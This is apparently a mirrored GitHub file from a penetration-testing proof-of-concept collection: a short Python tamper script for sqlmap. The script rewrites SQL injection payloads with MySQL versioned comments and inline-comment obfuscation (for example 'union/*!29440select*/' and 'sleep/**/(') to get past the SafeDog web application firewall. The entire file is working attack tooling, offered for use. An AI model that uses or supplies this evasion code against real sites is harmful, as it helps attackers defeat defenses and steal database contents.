mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-22 02:40:31 +00:00
20 lines
919 B
Python
20 lines
919 B
Python
|
# coding=UTF-8
|
||
|
|
# Desc: sqlmap_bypass_安全狗2_tamper
|
||
|
|
# from: https://www.t00ls.net/thread-58882-1-1.html
|
||
|
|
|
||
|
|
from lib.core.enums import PRIORITY
|
||
|
|
__priority__ = PRIORITY.LOW
|
||
|
|
|
||
|
|
def tamper(payload, **kwargs):
|
||
|
|
payload=payload.replace('AND','/*!29440AND*/')
|
||
|
|
payload=payload.replace('ORDER','/*!29440order*/')
|
||
|
|
payload=payload.replace('LIKE USER()','like (user/**/())')
|
||
|
|
payload=payload.replace('DATABASE()','database/*!29440*/()')
|
||
|
|
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
|
||
|
|
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
|
||
|
|
payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
|
||
|
|
payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
|
||
|
|
payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
|
||
|
|
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
|
||
|
|
payload=payload.replace('SLEEP(','sleep/**/(')
|
||
|
|
return payload
|